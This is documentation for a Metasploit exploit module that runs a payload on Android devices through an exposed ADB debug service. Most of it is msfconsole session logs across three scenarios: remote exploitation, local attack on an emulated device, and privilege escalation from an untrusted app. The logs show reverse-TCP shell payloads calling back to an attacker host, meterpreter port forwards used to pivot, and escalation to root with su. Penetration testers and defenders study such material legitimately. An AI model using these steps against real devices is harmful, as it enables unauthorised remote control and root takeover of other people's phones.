## Vulnerable Application

Writes and spawns a native payload on an Android device that is listening
for Android Debug Bridge (ADB) debug messages.


## Installation Steps

To emulate Android devices, download and install [Android Studio](https://developer.android.com/studio/).

1. Start Android Studio and create a device using Device Manager.
1. Start an emulated device, either via Android Studio or using the `emulator` executable from Android SDK.

List available AVDs and start one with the emulator:

```
$ /path/to/Android/Sdk/emulator/emulator -list-avds
Galaxy_Nexus_API_29
$ /path/to/Android/Sdk/emulator/emulator -avd Galaxy_Nexus_API_29
```

For physical devices, refer to:

* https://developer.android.com/studio/command-line/adb


## Verification Steps

1. `msfconsole`
1. `use exploit/android/adb/adb_server_exec`
1. `set rhosts [host]`
1. `set rport [port]`
1. `set target [target]`
1. `run`
1. You should get a session


## Options


## Scenarios

### Remote Exploitation

```
msf > use exploit/android/adb/adb_server_exec 
[*] Using configured payload linux/armle/shell_reverse_tcp
msf exploit(android/adb/adb_server_exec) > set rhosts 192.168.200.135
rhosts => 192.168.200.135
msf exploit(android/adb/adb_server_exec) > set rport 5555
rport => 5555
msf exploit(android/adb/adb_server_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   armle
   1   x86
   2   x64
   3   mipsle


msf exploit(android/adb/adb_server_exec) > set target 1
target => 1
msf exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(android/adb/adb_server_exec) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] 192.168.200.135:5555 - Connecting to device...
[+] 192.168.200.135:5555 - Connected to device:
device::ro.product.name=sdk_gphone_x86;ro.product.model=Android SDK built for x86;ro.product.device=generic_x86;features=fixed_push_symlink_timestamp,apex,fixed_push_mkdir,stat_v2,abb_exec,cmd,abb,shell_v2
[+] 192.168.200.135:5555 - Command executed, response:
 command=WRTE
arg0=0x99
arg1=0xb
data=

[*] 192.168.200.135:5555 - Command Stager progress - 100.00% done (1142/1142 bytes)
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.135:60382 ) at 2022-03-20 19:55:10 -0400

id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input)
```


### Emulated Device Local Exploitation

When running Android devices in an emulator with Android Studio, the ADB
service is exposed only on the local network interface. However, the
service is accessible to all local users and may allow one user to
compromise another user's emulated device if authentication is disabled.

Setting up a port forward to the ADB service allows this module to exploit
ADB over an existing session:

```
meterpreter > portfwd add -l 1234 -p 5555 -r 127.0.0.1
[*] Local TCP relay created: :1234 <-> 127.0.0.1:5555
meterpreter > 
Background session 1? [y/N]  
msf > use exploit/android/adb/adb_server_exec 
[*] Using configured payload linux/armle/shell_reverse_tcp
msf exploit(android/adb/adb_server_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf exploit(android/adb/adb_server_exec) > set rport 1234
rport => 1234
msf exploit(android/adb/adb_server_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   armle
   1   x86
   2   x64
   3   mipsle


msf exploit(android/adb/adb_server_exec) > set target 1
target => 1
msf exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(android/adb/adb_server_exec) > set lhost 192.168.200.130
lhost => 192.168.200.130
```

Successful exploitation results in `adb` user privileges with `shell` SELinux context,
leading to `root` privileges on the device by using `su`:

```
msf exploit(android/adb/adb_server_exec) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] 127.0.0.1:1234 - Connecting to device...
[+] 127.0.0.1:1234 - Connected to device:
device::ro.product.name=sdk_gphone_x86;ro.product.model=Android SDK built for x86;ro.product.device=generic_x86;features=fixed_push_symlink_timestamp,apex,fixed_push_mkdir,stat_v2,abb_exec,cmd,abb,shell_v2
[*] Sending stage (36 bytes) to 192.168.200.135
[+] 127.0.0.1:1234 - Command executed, response:
 command=WRTE
arg0=0x95
arg1=0xb
data=

[*] 127.0.0.1:1234 - Command Stager progress - 100.00% done (1142/1142 bytes)
[*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.135:60332 ) at 2022-03-20 18:30:56 -0400

id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
su
id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0
```


### Emulated Device Privilege Escalation

When running Android devices in an emulator with Android Studio, it is possible
for apps to communicate with the ADB service on the host's local network interface.
This allows a malicious app to request a shell on the device via ADB, leading to
elevation of privileges by creating a new session with `shell` privileges.

Untrusted Android apps have `untrusted_app` SELinux context, do not have `shell`
privileges and cannot execute `su`:

```
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=10149(u0_a149) gid=10149(u0_a149) groups=10149(u0_a149),3003(inet),9997(everybody),20149(u0_a149_cache),50149(all_a149) context=u:r:untrusted_app_25:s0:c512,c768
su
/system/bin/sh: <stdin>[2]: su: inaccessible or not found
exit
```

However, apps can communicate with the ADB service associated with the emulated
device (port `5555` in this example) on the host `10.0.2.2`. Setting up a port
forward to the ADB service allows this module to exploit ADB over the session:

```
meterpreter > portfwd add -l 1234 -p 5555 -r 10.0.2.2
[*] Local TCP relay created: :1234 <-> 10.0.2.2:5555
meterpreter > 
Background session 1? [y/N]  
msf > use exploit/android/adb/adb_server_exec
[*] Using configured payload linux/armle/shell_reverse_tcp
msf exploit(android/adb/adb_server_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf exploit(android/adb/adb_server_exec) > set rport 1234
rport => 1234
msf exploit(android/adb/adb_server_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   armle
   1   x86
   2   x64
   3   mipsle


msf exploit(android/adb/adb_server_exec) > set target 1
target => 1
msf exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(android/adb/adb_server_exec) > set lhost 192.168.200.130
lhost => 192.168.200.130
```

Successful exploitation results in `adb` user privileges with `shell` SELinux context,
leading to `root` privileges on the device by using `su`:

```
msf exploit(android/adb/adb_server_exec) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] 127.0.0.1:1234 - Connecting to device...
[+] 127.0.0.1:1234 - Connected to device:
device::ro.product.name=sdk_gphone_x86;ro.product.model=Android SDK built for x86;ro.product.device=generic_x86;features=fixed_push_symlink_timestamp,apex,fixed_push_mkdir,stat_v2,abb_exec,cmd,abb,shell_v2
[*] Sending stage (36 bytes) to 192.168.200.135
[+] 127.0.0.1:1234 - Command executed, response:
 command=WRTE
arg0=0xb
arg1=0xb
data=

[*] 127.0.0.1:1234 - Command Stager progress - 100.00% done (1142/1142 bytes)
[*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.135:59846 ) at 2022-03-20 02:57:52 -0400

id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
su
id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0
```
